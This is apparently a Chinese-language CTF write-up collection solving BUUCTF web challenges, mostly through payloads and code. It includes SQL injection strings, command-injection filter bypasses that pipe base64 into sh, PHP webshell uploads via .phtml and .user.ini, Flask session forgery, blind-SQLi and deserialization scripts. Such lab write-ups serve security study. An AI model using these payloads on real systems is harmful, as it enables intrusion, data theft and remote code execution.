1. 1. Web
    1. 1.1. [HCTF 2018]WarmUp
    2. 1.2. [强网杯 2019]随便注
    3. 1.3. [SUCTF 2019]EasySQL
    4. 1.4. [极客大挑战 2019]EasySQL
    5. 1.5. [极客大挑战 2019]Secret File
    6. 1.6. [护网杯 2018]easy_tornado
    7. 1.7. [ACTF2020 新生赛]Include
    8. 1.8. [极客大挑战 2019]LoveSQL
    9. 1.9. [RoarCTF 2019]Easy Calc
    10. 1.10. [GXYCTF2019]Ping Ping Ping
    11. 1.11. [极客大挑战 2019]Knife
    12. 1.12. [ACTF2020 新生赛]Exec
    13. 1.13. [极客大挑战 2019]PHP
    14. 1.14. [极客大挑战 2019]Http
    15. 1.15. [HCTF 2018]admin
    16. 1.16. [极客大挑战 2019]BabySQL
    17. 1.17. [极客大挑战 2019]Upload
    18. 1.18. [ACTF2020 新生赛]BackupFile
    19. 1.19. [ACTF2020 新生赛]Upload
    20. 1.20. [SUCTF 2019]CheckIn
    21. 1.21. [极客大挑战 2019]BuyFlag
    22. 1.22. [BJDCTF2020]Easy MD5
    23. 1.23. [ZJCTF 2019]NiZhuanSiWei
    24. 1.24. [CISCN2019 华北赛区 Day2 Web1]Hack World
    25. 1.25. [网鼎杯 2018]Fakebook
    26. 1.26. [极客大挑战 2019]HardSQL
    27. 1.27. [GXYCTF2019]BabySQli
    28. 1.28. [强网杯 2019]高明的黑客
    29. 1.29. [网鼎杯 2020 青龙组]AreUSerialz
    30. 1.30. [BJDCTF 2nd]fake google
    31. 1.31. [RoarCTF 2019]Easy Java
    32. 1.32. [GYCTF2020]Blacklist
    33. 1.33. [BUUCTF 2018]Online Tool
    34. 1.34. [MRCTF2020]你传你🐎呢
    35. 1.35. [MRCTF2020]Ez_bypass
    36. 1.36. [GXYCTF2019]BabyUpload
    37. 1.37. [GXYCTF2019]禁止套娃
    38. 1.38. [GWCTF 2019]我有一个数据库
    39. 1.39. [BJDCTF2020]ZJCTF,不过如此
    40. 1.40. [BJDCTF2020]The mystery of ip
    41. 1.41. [BJDCTF2020]Mark loves cat
    42. 1.42. [安洵杯 2019]easy_web
    43. 1.43. [网鼎杯 2020 朱雀组]phpweb
    44. 1.44. [NCTF2019]Fake XML cookbook
    45. 1.45. [NCTF2019]True XML cookbook
    46. 1.46. [BSidesCF 2020]Had a bad day
    47. 1.47. [ASIS 2019]Unicorn shop
    48. 1.48. [BJDCTF2020]Cookie is so stable
    49. 1.49. [安洵杯 2019]easy_serialize_php
    50. 1.50. [WUSTCTF2020]朴实无华
    51. 1.51. [CISCN 2019 初赛]Love Math
    52. 1.52. [网鼎杯 2020 朱雀组]Nmap
    53. 1.53. [MRCTF2020]Ezpop
    54. 1.54. [SWPU2019]Web1
    55. 1.55. [MRCTF2020]PYWebsite
    56. 1.56. [NPUCTF2020]ReadlezPHP
    57. 1.57. [De1CTF 2019]SSRF Me
    58. 1.58. [ThinkPHP]5-Rce
    59. 1.59. BUU UPLOAD COURSE 1
    60. 1.60. BUU XSS COURSE 1
    61. 1.61. BUU SQL COURSE 1
    62. 1.62. [第一章 web入门]sql注入-1
    63. 1.63. [Black Watch 入群题]Web
    64. 1.64. [Mysql]CVE-2012-2122
    65. 1.65. [Redis]UNACC
    66. 1.66. [第三章 web进阶]SSTI
    67. 1.67. [Flask]SSTI
    68. 1.68. [GYCTF2020]FlaskApp
    69. 1.69. [struts2]s2-053
    70. 1.70. BUU XXE COURSE 1
    71. 1.71. [BSidesCF 2019]SVGMagic
    72. 1.72. [Solr]CVE-2017-12629-XXE
    73. 1.73. [Solr]CVE-2017-12629-RCE
    74. 1.74. [第三章 web进阶]Python里的SSRF
    75. 1.75. [第二章 web进阶]SSRF Training
    76. 1.76. [XNUCA2019Qualifier]EasyPHP
    77. 1.77. [CISCN2019 华北赛区 Day1 Web1]Dropbox
    78. 1.78. [NewStar Week4] 逃
    79. 1.79. [NewStar Week4] morefast
    80. 1.80. flask disk
    81. 1.81. InjectMe

NS - Buuctf Web Part

练习平台Buuctf

持续更新直到Web部分结束

笔记作者:outx

Web

[HCTF 2018]WarmUp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //白名单跟后续函数配合使用
if (! isset($page) || !is_string($page)) { //确定是否是字符串
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {//提交的参数中是否在白名单
return true;
}

$_page = mb_substr( //过滤问号
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) { //再次验证白名单
return true;
}

$_page = urldecode($page); //将提交的参数进行url解码
$_page = mb_substr( //过滤问号
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) { //再次验证白名单
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

解题相关知识

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
**mb_strpos()**:返回要查找的字符串在别一个字符串中首次出现的位置
// mb_strpos (haystack ,needle )
// haystack:要被检查的字符串。
// needle:要搜索的字符串
**mb_substr()** 函数返回字符串的一部分。
//str 必需。从该 string 中提取子字符串。
//start 必需。规定在字符串的何处开始。
//ength 可选。规定要返回的字符串长度。默认是直到字符串的结尾
request()//可以以get或者post提交参数
include //文件包含
$_page . '?'//将$_page后拼接.
public static function checkFile(&$page)
&& emmm::checkFile($_REQUEST['file'])
上面这代码表示 将requestfile值 传入$page,其实就是将file参数传入到page
&引用传递变量。这是通过在函数内建立一个本地变量并且该变量在呼叫范围内引用了同一个内容来实现的。例如:
<?php
function foo (&$var)
{ $var++;
}
$a=5;
foo ($a);
?>
将使 $a 变成 6。这是因为在 foo 函数中变量 $var 指向了和 $a 指向的同一个内容。

[强网杯 2019]随便注

过滤

select|update|delete|drop|insert|where

绕过,考虑报错注入

1' and extractvalue(1,concat('~',database()))%23

但很多关键字被过滤,考虑堆叠注入

1
2
3
-1';use supersqli;show tables;#
-1';use supersqli;show columns from `1919810931114514`;#
-1';use supersqli;set @sql=concat('s','elect `flag` from `1919810931114514`');PREPARE stmt1 FROM @sql;EXECUTE stmt1;#

[SUCTF 2019]EasySQL

核心思路

set sql_mode=pipes_as_concat;

Payload:

1;set sql_mode=pipes_as_concat;select 1

[极客大挑战 2019]EasySQL

万能密码

check.php?username=admin%27or+1%3D1+%23&password=dawd

[极客大挑战 2019]Secret File

一路点,抓包在302页面找到secr3t.php,源码如下

1
2
3
4
5
6
7
8
9
10
11
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file"tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>

用file=php://filter/convert.base64-encode/resource=flag.php来读就好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!DOCTYPE html>

<html>

<head>
<meta charset="utf-8">
<title>FLAG</title>
</head>

<body style="background-color:black;"><br><br><br><br><br><br>

<h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>

<p style="font-family:arial;color:red;font-size:20px;text-align:center;">
<?php
echo "我就在这里";
$flag = 'flag{56d32da4-1a02-4eb1-a01f-c140abc88a4b}';
$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
?>
</p>
</body>

</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!DOCTYPE html>

<html>

<head>
<meta charset="utf-8">
<title>FLAG</title>
</head>

<body style="background-color:black;"><br><br><br><br><br><br>

<h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>

<p style="font-family:arial;color:red;font-size:20px;text-align:center;">
<?php
echo "我就在这里";
$flag = 'flag{56d32da4-1a02-4eb1-a01f-c140abc88a4b}';
$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
?>
</p>
</body>

</html>

[护网杯 2018]easy_tornado

tornado的cookie_secret文档

https://www.tornadoweb.org/en/latest/guide/security.html?highlight=cookie_secret

当MainHandler传递值时,会创建一个名叫settings的dict,而cookie_secret就在里面。并且,settings会随着MainHandler传递到前端去。即可以在handler.settings中找到cookie_secret的值,然后跟着它的hint做就可以了

[ACTF2020 新生赛]Include

php://filter/convert.base64-encode/resource=flag.php

[极客大挑战 2019]LoveSQL

1
2
3
4
5
6
username=admin&password=1%27%20order%20by%204%23 注出只有3个字段
username=admin&password=1%27%20union%20select%201,2,3%23 找到显位23
username=admin&password=1%27%20union%20select%201,database(),3%23 数据库名geek
username=admin&password=1%27union%20select%201,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27geek%27),3%23 表名geekuser,l0ve1ysq1
username=admin&password=1%27%20union%20select%201,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27geek%27%20and%20table_name=%27l0ve1ysq1%27),3%23 字段名id,username,password
username=admin&password=1%27%20union%20select%201,(select%20group_concat(username,%200x5e,%20password)%20from%20geek.l0ve1ysq1),3%23 获取字段内容,然后找到flag

[RoarCTF 2019]Easy Calc

PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST会将某些字符删除或用下划线代替,如%20news[id%00=42会转换为Array([news_id] => 42)

过滤了"',用chr()绕过%20num=var_dump(scandir(chr(47)))得到列表

var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))得到flag

[GXYCTF2019]Ping Ping Ping

过滤空格绕过方法

1
2
3
4
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt

这题的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}

绕过方法

1
2
3
?ip=22|echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
?ip=22|ls|xargs$IFS$1cat
?ip=22|cat$IFS$1`ls`

[极客大挑战 2019]Knife

POST:Syc=var_dump(file_get_contents('/flag'));

[ACTF2020 新生赛]Exec

ss|cat /flag

[极客大挑战 2019]PHP

反序列化务必使用python来看,绕过__wakeup函数只用把表示属性个数的值改大就可以了

1
2
3
4
5
6
7
8
import requests

resp = requests.get("http://127.0.0.1/www/111.php")
print(repr(resp.text))
# O:4:"Name":2:{s:14:"\x00Name\x00username";s:5:"admin";s:14:"\x00Name\x00password";i:100;}
xx = 'O:4:"Name":3:{s:14:"\x00Name\x00username";s:5:"admin";s:14:"\x00Name\x00password";i:100;}'
resp = requests.get("http://96d1b3c9-16f6-44e8-a10e-bea5badd78c5.node3.buuoj.cn/?select="+ xx)
print(resp.text)

111.php

1
2
3
4
5
6
7
8
9
10
<?php

//include 'class.php';
class Name{
    private $username 'admin';
    private $password 100;

}
$aa new Name("admin"100);
print_r(serialize($aa));

[极客大挑战 2019]Http

1
2
3
4
5
6
7
8
9
10
11
GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:26611
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Syclover/85.0.4183.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
X-Forwarded-For: 127.0.0.1
Referer: https://www.Sycsecret.com
Connection: close

主要三个地方,一个Referer,一个XFF,一个改浏览器标识

[HCTF 2018]admin

做法1:Session伪造

1
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123' 拿到secret_key

利用github上一个开源项目伪造session

1
2
3
4
5
6
python3 flask_session_cookie_manager3.py decode -s ckj123 -c ".eJw9kMGKwkAQRH9lmbOHJOpF8KBMHBS6g2GSMH0R10STHtuFqKgR_32zLngu6vGqnmqzb6tzrSaX9loN1KYp1eSpvr7VRJFZNMB-hMVy6DhtsFt54COjJQ8mFzTZg-xhCDq-O4EO7LxBm0WOZxFEKaPEIXbQkeQe7ezmoj_OiqFYh2hLn-jUYwEPlIUQ50yyvqHGGjmvMcrGqLOQjAuIfYCSjVwUP0inApwf-y47W9bQoZC4qXoN1O7c7jeXH1-dPhMSs-yoQAZDNQkE1OslFm6JyY8Q9Wp6ziC5gIY7FfHY9Rqwnr5xjWwP1Ye00xQns__ktJU-UGEYqoG6nqv2_ZoKA_X6BbWIa8E.X4VwIA.Rkin6-MMArxsGd_I2z5Ub0AaWjg"
-s跟secret_key -c跟session
解得{'_fresh': True, '_id': b'dab2985b7b4b72d29c56d0ef4e2e87011bc310b556b063dc6a5733fed500cb7b2c1d557d84d5c26aff5cfd043a65a7e9455df4f946e8ca2d4f25e84ca7a33fff', 'csrf_token': b'8b3ecc0fafc4e569308ee3c3d0c2ef031ea9b5c1', 'image': b'p6D8', 'name': 'admin', 'user_id': '10'}
修改对应值为admin
python3 flask_session_cookie_manager3.py encode -s ckj123 -t "{'_fresh': True, '_id': b'dab2985b7b4b72d29c56d0ef4e2e87011bc310b556b063dc6a5733fed500cb7b2c1d557d84d5c26aff5cfd043a65a7e9455df4f946e8ca2d4f25e84ca7a33fff', 'csrf_token': b'8b3ecc0fafc4e569308ee3c3d0c2ef031ea9b5c1', 'image': b'p6D8', 'name': 'admin', 'user_id': '10'}"
加密得到.eJw9kMGKwkAQRH9lmbOHJOpF8KBMHBS6g2GSMH0R10STHtuFqKgR_32zLngu6vGqnmqzb6tzrSaX9loN1KYp1eSpvr7VRJFZNMB-hMVy6DhtsFt54COjJQ8mFzTZg-xhCDq-O4EO7LxBm0WOZxFEKaPEIXbQkeQe7ezmoj_OiqFYh2hLn-jUYwEPlIUQ50yyvqHGGjmvMcrGqLOQjAuIfYCSjVwUP0inApwf-y47W9bQoZC4qXoN1O7c7jeXH1-dPhMSs-yoQAZDNQkE1OslFm6JyY8Q9Wp6ziC5gIY7FfHY9Rqwnr5xjWwP1Ye00xQns__ktJU-UNtSmpMaqOu5at-_qTBQr1-f7W03.X4VxOQ.KRA69X0skFKOV_aVoNryiWVok1w

[极客大挑战 2019]BabySQL

过滤了union select or from这些,复写绕过就可以了

1
2
3
4
username=admin&password=admin1%27uniunionon%20selselectect%201%2C2%2Cgroup_concat(schema_name)%20frfromom%20infoorrmation_schema.schemata%20%23
username=admin&password=admin1%27uniunionon%20selselectect%201%2C2%2Cgroup_concat(table_name)%20frfromom%20infoorrmation_schema.tables%20whwhereere%20table_schema%3Ddatabase()%23
username=admin&password=admin1%27uniunionon%20selselectect%201%2C2%2Cgroup_concat(column_name)%20frfromom%20infoorrmation_schema.columns%20whwhereere%20table_schema%3Ddatabase()%20anandd%20table_name%3D%27b4bsql%27%23
username=admin&password=admin1%27uniunionon%20selselectect%201%2C2%2Cgroup_concat(passwoorrd)%20frfromom%20b4bsql%23

[极客大挑战 2019]Upload

后缀名绕过php,php3,php4,php5,phtml,pht

构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /upload_file.php HTTP/1.1
Host: c887928f-75ce-45ce-9fad-32dd56874aa9.node3.buuoj.cn
Content-Length: 342
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://c887928f-75ce-45ce-9fad-32dd56874aa9.node3.buuoj.cn
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUpGgttuPSdHTxZgd
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://c887928f-75ce-45ce-9fad-32dd56874aa9.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Connection: close

------WebKitFormBoundaryUpGgttuPSdHTxZgd
Content-Disposition: form-data; name="file"; filename="pnghead.phtml"
Content-Type: image/png

‰PNG

<script language="php">system($_GET[x]);</script>
------WebKitFormBoundaryUpGgttuPSdHTxZgd
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundaryUpGgttuPSdHTxZgd--

[ACTF2020 新生赛]BackupFile

源码index.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

直接取key=123

[ACTF2020 新生赛]Upload

上传phtml绕过php后缀检查

[SUCTF 2019]CheckIn

正则r'/ph|htaccess/i',没办法绕过,这里用上传.user.ini来处理,分别上传

.user.ini

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /index.php HTTP/1.1
Host: e049f518-c43e-4195-8a8c-1617eb34e8c1.node3.buuoj.cn
Content-Length: 318
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://e049f518-c43e-4195-8a8c-1617eb34e8c1.node3.buuoj.cn
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuxoqRGYxpvd7xV8v
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://e049f518-c43e-4195-8a8c-1617eb34e8c1.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Connection: close

------WebKitFormBoundaryuxoqRGYxpvd7xV8v
Content-Disposition: form-data; name="fileUpload"; filename=".user.ini"
Content-Type: image/png

‰PNG

auto_prepend_file=2.jpg
------WebKitFormBoundaryuxoqRGYxpvd7xV8v
Content-Disposition: form-data; name="upload"

提交
------WebKitFormBoundaryuxoqRGYxpvd7xV8v--

2.jpg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /index.php HTTP/1.1
Host: e049f518-c43e-4195-8a8c-1617eb34e8c1.node3.buuoj.cn
Content-Length: 340
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://e049f518-c43e-4195-8a8c-1617eb34e8c1.node3.buuoj.cn
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuxoqRGYxpvd7xV8v
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://e049f518-c43e-4195-8a8c-1617eb34e8c1.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Connection: close

------WebKitFormBoundaryuxoqRGYxpvd7xV8v
Content-Disposition: form-data; name="fileUpload"; filename="2.jpg"
Content-Type: image/png

‰PNG

<script language="php">system($_GET[x]);</script>
------WebKitFormBoundaryuxoqRGYxpvd7xV8v
Content-Disposition: form-data; name="upload"

提交
------WebKitFormBoundaryuxoqRGYxpvd7xV8v--

[极客大挑战 2019]BuyFlag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /pay.php HTTP/1.1
Host: 63c15e7b-97d2-4281-830e-0e314c5a4573.node3.buuoj.cn
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: user=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

password=404a&money=1e9

[BJDCTF2020]Easy MD5

知识点1

指定true的时候可以用到拼接,ffifdyop的md5($str1, true)后返回形如'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c,拼接后就

select * from 'admin' where password='' or '6xxxxx'

知识点2

php双等号弱类型QNKCDZO,s155964671a,s1091221200a

知识点3

md5函数如果传递给它的是一个数组,会返回FALSE

[ZJCTF 2019]NiZhuanSiWei

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

说的是php://input也可以但是实际上不行 读出来会包含变量名

利用file=php://filter/convert.base64-encode/resource=useless.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

简单的反序列化,给$file赋值就行

[CISCN2019 华北赛区 Day2 Web1]Hack World

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
$dbuser='root';
$dbpass='root';

function safe($sql){
#被过滤的内容 函数基本没过滤
$blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
foreach($blackList as $blackitem){
if(stripos($sql,$blackitem)){
return False;
}
}
return True;
}
if(isset($_POST['id'])){
$id = $_POST['id'];
}else{
die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
die(mysql_error());
}
mysql_select_db("ctf",$db);

if(safe($id)){
$query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");

if($query){
$result = mysql_fetch_array($query);

if($result){
echo $result['content'];
}else{
echo "Error Occured When Fetch Result.";
}
}else{
var_dump($query);
}
}else{
die("SQL Injection Checked.");
}

也就是一个trick

1^1^1,用它可以起到代替or的作用。

0^(ascii(substr((select(flag)from(flag)),1,1))>1)

但还有一些是没有用异或,用的是if,可if有局限性,在id为数字型时,可以直接 select * from users where id=if(1=1,1,0),但如果id单引号字符型或双引号字符型,那就必须在if前加or或and

python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import time

url = "http://0f68906e-d306-4cb6-a19b-7055f59cddf5.node3.buuoj.cn/index.php"
payload = {
"id": ""
}
result = ""
for i in range(1, 100):
low = 33
top = 130
mid = (low + top) >> 1
while low < top:
time.sleep(0.5)
payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i, mid)
html = requests.post(url, data=payload)
print(payload)
if "Hello" in html.text:
low = mid + 1
else:
top = mid
mid = (low + top) >> 1
if chr(mid) == " ":
break
result = result + chr(mid)
print(result)
print("flag: ", result)

[网鼎杯 2018]Fakebook

报错注入

1
2
3
4
1%20and%20extractvalue(1,concat(%27~%27,(select(group_concat(database())))))%23 
1%20and%20updatexml(1,concat(%27~%27,(select%20database())),1)%23 获得库名fakebook
1%20and%20extractvalue(1,concat(%27~%27,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=%27fakebook%27)))%23,1)%23 不用空格的版本,获得表名users
1%20and%20extractvalue(1,concat(%27~%27,(select(group_concat(column_name))from(information_schema.columns)where(table_name)=%27users%27)))%23 获得字段名no,username,passwd,data,USER,CU

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";
    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }
    function get($url)
    {
        $ch = curl_init();                                   //初始化一个curl会话
        curl_setopt($ch, CURLOPT_URL, $url);                 //设置需要抓取的URL
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);         //设置cURL 参数,要求结果保存到字符串中还是输出到屏幕上
        $output = curl_exec($ch);                            //运行cURL,请求网页
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);          //关闭一个curl会话,唯一的参数是curl_init()函数返回的句柄
        return $output;
    }
    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }
    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }
}

这里利用ssrf去读我们要的flag文件,同时利用到了上面的no参数的注入

views.php部分代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$no = $_GET['no'];
if ($db->anti_sqli($no))
{
die("no hack ~_~");
}

$res = $db->getUserByNo($no);
$user = unserialize($res['data']);
//print_r($res);
<?php
$response = $user->getBlogContents();
if ($response === 404)
{
echo "404 Not found";
}
else
{
$base64 = base64_encode($response);
echo "<iframe width='100%' height='10em' src='data:text/html;base64,{$base64}'>";
// echo $response;
}
// var_dump($user->getBlogContents());
?>

[极客大挑战 2019]HardSQL

1
2
3
4
5
6
7
8
?username=admin%27or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23&password=123
updatexml(1,concat(0x7e,(SELECT(database())),0x7e),1)
updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1)
updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1)
updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1)

username=44&password=1%27^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23
username=44&password=1%27^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23

[GXYCTF2019]BabySQli

如果查询的数据不存在的时候,union查询就会构造一个虚拟的数据。sql的password会md5加密,然后我们将我们自己输的密码编码成md5然后放入第三列当中。列是什么可以用union来测试

1
name=1' union select 1,'admin','202cb962ac59075b964b07152d234b70' %23 &pw=123

[强网杯 2019]高明的黑客

很多冒充的webshell的时候如何找到可以使用的,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import os
import requests
import re
import threading
import time
print('开始时间: '+ time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100) #这儿设置最大的线程数
filePath = r"D:/soft/phpstudy/PHPTutorial/WWW/src/"
os.chdir(filePath) #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):
s1.acquire()
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))
with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://127.0.0.1/src/'+file
req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
